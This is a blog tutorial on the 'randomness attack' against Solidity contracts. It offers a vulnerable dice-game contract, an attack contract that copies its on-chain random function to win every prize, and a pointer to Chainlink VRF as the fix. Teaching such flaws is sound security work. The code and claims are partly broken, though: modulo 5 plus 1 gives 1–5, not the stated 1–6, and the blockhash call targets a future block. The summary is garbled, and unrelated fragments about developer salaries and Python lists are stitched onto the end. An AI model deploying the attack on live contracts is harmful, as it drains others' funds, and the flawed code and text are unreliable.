This is part 7 and a continuation of the Smart Contract Security Series.
- Ownership Exploit
- Private Variable Exploit
- Reentrancy Attack
- tx.origin Phishing Attack
- Denial of Service Attack
- Storage Collision Attack
- Randomness Attack
In this tutorial, the randomness attack or also called replicated logic attack is analyzed.
The problem in Solidity contracts is finding the true source of randomness.
We will see how generating a random number using on chain data cannot be trusted.
The tutorial starts with exploiting the randomness vulnerability, followed by the possible solutions. Let us begin the exploration!
Exploit
To explain this exploit, you can consider any game where the user is asked to guess a random number such as a dice number, a card from a pack of cards, or an online lottery contract.
To keep it simple consider a contract game for guessing a dice.
The user is asked to guess a dice number between 1 to 6, and if it matches the random number generated in the contract, then the user is awarded a prize of 1 Ether.
The contract code for DiceGame.sol.
contract DiceGame
{ constructor() payable{ } function guess_the_dice(uint8 _guessDice) public { uint8 dice = random(); if (dice == _guessDice) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent , "failed to transfer"); } } // source of randomness (1-6) function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; }
}
The contract logic is briefly explained.
constructor()made payable to put some initial reward amount to the winner of the game.guess_the_dice()takes a param from the user (player), generates the random number, compares it with the user input number. If both are equal then the user (player) is rewarded with 1 Ether.- The
random()function uses the previous block number and the current block timestamp to get a random number. The previous block number (block.number-1) is used here because theblockhash()does not allow you to calculate it using the current block number as the current block is still under process w.r.t current transaction. Before the random value is returned we mod it by 5 and add 1 to keep the dice number between 1 to 6.
The attack.sol contract.
contract Attack{ DiceGame dicegame; constructor(DiceGame _addrDicegame) { dicegame = _addrDicegame; } function attack() public{ uint8 guess= random(); dicegame.guess_the_dice(guess); } // source of randomness (1-6) copied from the DiceGame contract function random() private view returns (uint8) { uint256 blockValue = uint256(blockhash(block.number-1 + block.timestamp)); return uint8(blockValue % 5) + 1; } // gets called to rx ether receive() external payable {} function get_balance() public view returns(uint256) { return address(this).balance; } }
The attack contract logic in detail.
- The constructor accepts the address of the deployed
DiceGamecontract so that it can interact with this contract. - The
attack()function uses or replicates the exact random function used by theDiceGamecontract as the source code of theDiceGamecontract is available as open-source or on etherscan (as part of contract section or verified contracts). After getting the random number it callsguess_the_dice(). get_balance()gives the balance of the attacker contract.
Copy the contracts in Remix and execute them.
How the Exploit Occurred
As you can see, every time the attacker calls the attack() function, he/she is able to match it exactly with the number in the guess_the_dice() function of the DiceGame contract.
As the random() function was replicated from the DiceGame contract, it will generate the same random number in attack() and guess_the_dice() as both functions will be part of the same transaction, in other words, the same block.
How to Prevent the Attack
- The attack can be prevented if any on-chain data such as
blockhash,block.number,block.timestampis not used as the source of randomness in the contracts. - Use ChainlinkVRF as the source of true randomness in contracts.
Summary
In this tutorial, we saw how assuming that the on-chain data related to blockchain such as block.timestamp or block.number can give us true randomness that cannot be duplicated or exploited.
While it is true that in computer science it is hard to generate a true random number with the help of an algorithm, some functions are better than the others and chainlink VRF is one such function that helps in generating a provably fair and verifiable random number.
Programmer Humor
Q: How do you tell an introverted computer scientist from an extroverted computer scientist? A: An extroverted computer scientist looks at your shoes when he talks to you.




Question: How much does a UI/UX Developer in the US make per year?
Note: This is the most comprehensive salary meta-study of UI/UX developer income in the world, to the best of my knowledge!

Note: Do you want to create your own thriving coding business online? Feel free to check out our 





Tip: An excellent start to turbo-charge your freelancing career (earning more in less time) is our
The average annual income of professional developers in the US is between $70,000 and $177,500 for various programming languages.













Link: 











Finding Sum of Two Lists Element-wise for list of lists
Python facilitates us with many predefined functions for numerous mathematical, logical, relational, bitwise etc operations. These functions are contained within the operator module. One such function is 





Note: It is also possible to send 


